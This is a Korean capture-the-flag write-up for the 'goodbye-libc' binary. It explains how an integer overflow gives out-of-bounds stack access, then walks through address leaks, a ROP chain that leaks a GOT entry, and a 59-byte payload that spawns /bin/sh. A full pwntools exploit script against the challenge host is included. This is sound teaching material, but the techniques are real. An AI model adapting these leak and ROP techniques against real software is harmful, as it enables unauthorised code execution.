Goodbye libc
개요
goodbye-libc는 PIE가 적용된 계산기 바이너리다. 표준 glibc 대신 libbye-libc.so를 사용한다는 점이 특이한데, 이 때문에 흔히 쓰는 GOT overwrite가 그대로 통하지 않는다. 대신 풀이의 핵심은 input_index()에 숨겨진 정수 오버플로우다. 이를 통해 nums 배열에 음수 인덱스를 만들고, _start 스택 프레임 바깥을 자유롭게 읽고 쓸 수 있게 된다.
최종 exploit의 흐름은 다음과 같다.
PRINT_NUMOOB read → PIE base & stack 주소 leakWRITE_NUMOOB write →write_num()리턴 주소 변조- 겹치는 버퍼를 활용해
exit@gotleak libbye-libc.sobase 계산index 3 trick으로rbp재정렬- 59바이트 payload →
execve("/bin/sh", 0, 0)
취약점 분석
정수 오버플로우 in input_index()
input_index()는 입력값을 int choice에 받아 아래와 같이 검사한다.
if (choice <= 3 && choice >= -2) {
return choice - 1;
}32비트 int의 wrap-around 특성 때문에, 충분히 큰 십진수를 입력하면 실질적으로 음수 인덱스가 된다.
| 입력값 | 실제 인덱스 |
|---|---|
1 | 0 |
2 | 1 |
3 | 2 |
0 | -1 |
4294967295 | -2 |
4294967294 | -3 |
WRITE_NUM은 음수 인덱스를 막지 않는다
WRITE_NUM 분기는 index == -1 같은 별도의 경계 검사 없이 곧바로 write_num(&nums[index])를 호출한다.
case WRITE_NUM:
print("Select index to write to [1-3]: ");
index = input_index();
write_num(&nums[index]);
break;따라서 nums[-1], nums[-2], nums[-3]에 임의 값을 쓸 수 있다.
nums의 스택 레이아웃
초기 leak으로 얻는 stk는 _start의 rbp 값이다. 이를 기준으로 nums의 위치를 정리하면 다음과 같다.
nums[0] = stk - 0x38
nums[1] = stk - 0x30
nums[2] = stk - 0x28
nums[-1] = stk - 0x40
nums[-2] = stk - 0x48 ← 코드 주소 (PIE leak)
nums[-3] = stk - 0x50 ← saved rbp (stack leak)
음수 인덱스가 리턴 주소, saved rbp, 그리고 다음 stage용 스택 슬롯과 겹친다는 것이 이후 단계의 핵심이다.
Exploit 단계별 설명
1단계 — PIE base & stack leak
leak = pri(2**32 - 1) # nums[-2] → 코드 영역 주소
exe.address = leak - 0x1CBD # PIE base 계산
stack = pri(2**32 - 2) # nums[-3] → _start의 rbp두 번의 OOB read만으로 PIE base와 stack 주소를 모두 확보한다.
2단계 — exit@got leak & libbye-libc.so base 계산
핵심 아이디어: write_num()의 리턴 주소를 input_num+8(아래 read() 직전 코드)로 덮어, 함수가 반환될 때 루프로 복귀하는 대신 read() 코드로 진입하게 만든다.
; input_num+8 (READ_CODE)
0x12a6: lea rax, [rbp-0x4c]
0x12aa: mov edx, 0x40
0x12af: mov rsi, rax
0x12b2: mov edi, 0
0x12b7: call read@plt여기서 버퍼 시작 주소는 [rbp-0x4c]이고, call read가 push하는 복귀 주소는 [rbp-0x48]에 놓인다. 즉 버퍼와 read()의 리턴 주소가 8바이트만큼 겹친다.
따라서 우리가 보내는 64바이트 payload는 버퍼 데이터이면서 동시에 read() 이후 실행될 ROP 체인이기도 하다.
Phase 1 payload
READ_CODE = exe.address + 0x12a6
rop = b'\x00' * 4
rop += p64(exe.address + 0x1440) # pop rbp ; ret
rop += p64(stack - 0x28) # 새 rbp
rop += p64(exe.address + 0x1330) # mov rax, [rbp-8] ; jmp leave;ret
rop += p64(exe.got.exit) # [stack-0x30]에 위치할 값
rop += p64(stack) # leave가 복구할 rbp
rop += p64(exe.address + 0x1cd3) # mov rsi,rax ; mov edi,1 ; call write@plt실행 순서를 따라가면 다음과 같다.
wri(-2, READ_CODE)—write_num()의 리턴 주소를READ_CODE로 교체- 다음
read()가 payload를 수신하면서 자신의 복귀 주소를pop rbp ; ret으로 덮음 pop rbp ; ret→rbp = stack-0x28mov rax, [rbp-8]→rax = [stack-0x30] = exit@gotleave ; ret→rbp = stack0x1cd3진입 →rsi = rax,edi = 1,edx = 64- 결과적으로
write(1, exit@got, 64)실행
스크립트에서는 leak된 앞 6바이트를 파싱해 libbye-libc.so base를 계산한다.
leak = u64(r.recv(6).ljust(8, b'\x00'))
libc.address = leak - libc.sym.exit3단계 — index 3 trick으로 rbp 재정렬
Phase 1이 끝난 직후, 최종 payload를 보내기 전에 한 가지 준비가 필요하다.
wri(3, stack + 0x28)이 쓰기 동작은 현재 write_num() 호출이 끝날 때 saved rbp가 stack+0x28이 되도록 설정한다. 이후 호출에서 필요한 스택 슬롯들이 원하는 위치에 오게 되고, nums[-2]로 실제 리턴 슬롯을 다시 덮을 수 있게 된다.
4단계 — pop_rdx → READ_CODE 체인 구성
주변 슬롯을 미리 채운다.
wri(0, 0) # pop_rdx가 소비할 값
wri(1, input_num) # 다음 ret의 목적지 = READ_CODE
wri(2, 2) # dummy그리고 현재 write_num()의 리턴 주소를 pop_rdx로 덮는다.
wri(2**32-1, pop_rdx)함수 반환 이후의 흐름은 다음과 같다.
ret → pop_rdx → ret → READ_CODE
왜 바로 READ_CODE로 가지 않는가?
직접 진입하면 마지막 read()가 복귀할 때 필요한 두 슬롯(saved rbp와 return address) 중 하나가 버퍼 바깥에 위치해 체인이 불안정해진다. pop_rdx ; ret을 한 번 거치면 rsp가 0x10바이트 앞으로 진행된 상태로 READ_CODE에 진입하게 된다. 그 결과 마지막 read()가 끝난 뒤 사용할 두 슬롯이 모두 버퍼 안으로 들어오고, 최종 payload가 둘 다 덮을 수 있다.
즉 여기서 pop_rdx는 rdx 값 설정보다 스택 정렬용 가젯으로서의 역할이 더 크다.
5단계 — 59바이트 최종 payload
binsh = stack - 0x24
rop = b'/bin/sh\x00'
rop += b'EEEEEEEEFFFF'
rop += p64(pop_rdi_rsi_rdx)
rop += p64(binsh)
rop += p64(0)
rop += p64(0)
rop += p64(syscall)[0:7]/bin/sh\x00 문자열은 마지막 read()의 버퍼 시작 위치, 즉 stack-0x24에 착지한다.
왜 payload를 정확히 59바이트로 맞추는가?
이 바이너리에는 pop rax ; ret 같은 편한 가젯이 없다. 대신 read()는 실제로 읽은 바이트 수를 rax에 반환한다. Linux x86-64에서 execve의 syscall 번호가 59이므로, payload 길이를 정확히 59바이트로 맞추면 rax = 59가 자연스럽게 세팅된다.
왜 syscall 주소를 7바이트만 쓰는가?
payload 길이를 59바이트로 유지하기 위해 마지막 1바이트를 제거한다.
rop += p64(syscall)[0:7]최종 레지스터 상태는 다음과 같다.
| 레지스터 | 값 |
|---|---|
rax | 59 (execve syscall 번호) |
rdi | /bin/sh 문자열 주소 |
rsi | 0 |
rdx | 0 |
Exploit Code
#!/usr/bin/env python3
import re
from pwn import *
exe = ELF("./goodbye-libc_patched")
libc = ELF("./libbye-libc.so")
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)
context.binary = exe
context.log_level = 'info'
def conn():
if args.LOCAL:
r = process([exe.path])
return r
return remote("streams.tamuctf.com", 443, ssl=True, sni="goodbye-libc")
def wri(index, value):
r.sendlineafter(b'Enter input: ', b"1")
r.sendlineafter(b'Select index to write to [1-3]: ', str(index).encode())
r.sendlineafter(b'Select value to write: ', str(value).encode())
def pri(index):
r.sendlineafter(b'Enter input: ', b"6")
r.sendlineafter(b'Select index to read from [1-3]: ', str(index).encode())
r.recvuntil(b"Value written: ")
return int(r.recvline().strip())
def debug():
gdb.attach(r, """
b *input_num+8
b *input_num+25
c
""")
pause()
def main():
wri(1, 1)
wri(2, 2)
wri(3, 3)
# leak pie base address
leak = pri(2**32-1)
exe.address = leak - 0x1CBD
log.info(f"PIE base: {hex(exe.address)}")
# leak stack
stack = pri(2**32-2)
log.info(f"stack leak: {hex(stack)}")
stack_28 = stack - 0x28
log.info(f"stack-0x28 address: {hex(stack_28)}")
# leak libc
input_num = exe.address + 0x12a6
rop = b'\x00'*4
rop += p64(exe.address + 0x1440) # pop rbp; ret
rop += p64(stack_28) # stack-0x28 -> rbp
rop += p64(exe.address + 0x1330) # mov rax, qword ptr [rbp - 8] ; leave ; ret
rop += p64(exe.got.exit) # got_exit -> [rbp - 8]
rop += p64(stack) # stack
rop += p64(exe.address + 0x1cd3) # exe+0x1cd3 = _start+1927 = mov rsi,rax; mov edi,0x1; call write@plt
# rop = rop.ljust(64, b'\x00')
wri(2**32-1, input_num)
r.send(rop)
leak = u64(r.recv(6).ljust(8, b'\x00'))
libc.address = leak - libc.sym.exit
log.info(f"libc base: {hex(libc.address)}")
# rop to execve("/bin/sh", 0, 0)
pop_rdx = libc.address + 0x1041 # pop rdx; ret
wri(3, stack+0x28) # revoke rbp
wri(0, 0)
wri(1, input_num)
wri(2, 2)
wri(2**32-1, pop_rdx)
time.sleep(1)
# pause()
rop = b'/bin/sh\x00'
rop += b'EEEEEEEEFFFF'
# execve("/bin/sh", 0, 0)
binsh = stack - 0x24
pop_rdi_rsi_rdx = libc.address + 0x103f # pop rdi; pop rsi; pop rdx; ret
syscall = libc.address + 0x1039 # syscall; ret
log.info(f"syscall address : {hex(syscall)}")
rop += p64(pop_rdi_rsi_rdx) # -> read function return address
rop += p64(binsh) # "/bin/sh\x00" -> rdi
rop += p64(0) # rsi = 0
rop += p64(0) # rdx = 0
rop += p64(syscall)[0:7] # syscall; ret / use only 7 bytes to make payload length 59
log.info(f"len of rop payload : {len(rop)}")
r.send(rop)
r.interactive()
if __name__ == "__main__":
r = conn()
main()